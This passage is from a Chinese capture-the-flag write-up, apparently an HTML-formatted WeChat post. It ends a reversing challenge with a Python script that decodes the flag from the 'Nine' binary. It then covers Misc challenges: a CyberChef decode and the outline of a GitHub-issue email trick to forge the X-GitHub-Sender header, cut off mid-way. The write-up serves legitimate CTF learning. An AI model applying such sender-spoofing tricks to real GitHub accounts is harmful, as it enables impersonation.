→ 追加到 current_flag同时把 current_key 追加到 key_all→key_all 与 target_all 逐项相等 → 输出 Right! flag is : + current_flag</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">current_key的实时累加在sub_1000069A4中实现</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6459948320413437" data-type="png" data-w="774" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030407" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=2165f39a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0PH3MfUHRoJpGvAn5oPZd15abWLJhmbRwkdtqicQLgC3ty5dSn5MLEiaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">weight所对应的数据</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.26991869918699185" data-type="png" data-w="615" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030414" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f2b9f6f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0PGo7794Ga9lpibibAIuvwRaTiaEtb9pOZl5LY9BehBm7ht38FoNXlWm7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">target_all所对应的数据</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.072" data-type="png" data-w="500" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030412" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=da634a43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0XJCUx4w0j9r9V7Gibu3VTAaJqZMhm4fOic4Ak8veUyjb5H0luhn1hKiag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">map_list所对应的数据（如：L→1478，i→582），数据太多这里就截了前面两个</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.1625" data-type="png" data-w="320" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030415" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=337b578b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0rdTfP2e2WqGzEsLicK1MUYNpzZClJwc9vuJMZP0Bbxot5fELbDk24kg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.1295180722891567" data-type="png" data-w="332" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030413" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=13b527da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0vk8zXicRTGARRsELibxibbLnRVVWtIIiatgXdf0JPuszWNyOjpdSib6XFCw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">target_all 存储的是每个字符对应手势的 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">编码值</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">map_list 存储的是 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">数字串 ↔ 字符</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">由 weight 可计算任意数字串的编码值：enc(dstr) = Σ digit[i]*weight[i]</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所以可以：</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">对 map_list 中每个数字串计算 enc(dstr)</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">得到 enc(dstr) -&gt; char 的反查表</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">依次读取 target_all[i]，映射回字符并拼接</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">exp：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">read_u64_le</span></span><span style="line-height: 26px;"><span leaf="">(buf, off)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> struct.unpack_from(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&lt;Q&#34;</span></span><span leaf="">, buf, off)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">parse_small_string_16</span></span><span style="line-height: 26px;"><span leaf="">(chunk: bytes)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span leaf="">    last = chunk[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (last &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x80</span></span><span leaf="">) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;not a Swift small-string (tag bit not set)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    ln = last &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0F</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> chunk[:ln].decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ascii&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ignore&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    path = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Nine&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(path, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;rb&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span leaf="">        data = f.read()</span><span leaf=""><br/></span><span leaf="">    weights = [read_u64_le(data, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x10340</span></span><span leaf=""> + i * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">    start, end = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x104E0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x109C0</span></span><span leaf=""><br/></span><span leaf="">    ss = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> off </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(start, end, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        ss.append(parse_small_string_16(data[off:off+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">]))</span><span leaf=""><br/></span><span leaf="">    pairs = [(ss[i], ss[i+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, len(ss), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">enc</span></span><span style="line-height: 26px;"><span leaf="">(digitstr: str)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span leaf="">        ds = [int(c) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> c </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> digitstr]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> sum(ds[i] * weights[i] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(len(ds)))</span><span leaf=""><br/></span><span leaf="">    rev = {}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ch, dstr </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> pairs:</span><span leaf=""><br/></span><span leaf="">        rev[enc(dstr)] = ch</span><span leaf=""><br/></span><span leaf="">    targets = [read_u64_le(data, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x103B0</span></span><span leaf=""> + i * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">33</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">    flag = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">.join(rev[t] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> t </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> targets)</span><span leaf=""><br/></span><span leaf="">    print(flag)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span></code></pre><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Misc</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Welcome</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">丢到 cyberchef 里，点了两次魔法棒就有了</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.4166666666666667" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030416" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=54d1f374&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU06Ra02xgJficvpXp4yUuCbuiaUvfDGywRMFNumxIPYic90qsVeAh71ibyzg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Your GitHub, mine</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这个题目是要通过Issue触发的邮件，去给lilacctf-tech发邮件，这个邮件的X-GitHub-Sender必须是tynqf4hn8z-byte</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">题目同时也能通过tynqf4hn8z-byte去创建一个Issue，那就先发一封试试</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">先加入Classroom</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5389930898321816" data-type="png" data-w="1013" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030421" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=c2a7f4a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0SYIPm1t0GJWJ3q2CrGGG5sroyJl65icXb5FcuWGmlhzq15pQQxXNiacA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">连接nc创建一个Issue，创建后，发现已经有了个Issue，默认是空白的内容</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3138888888888889" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: 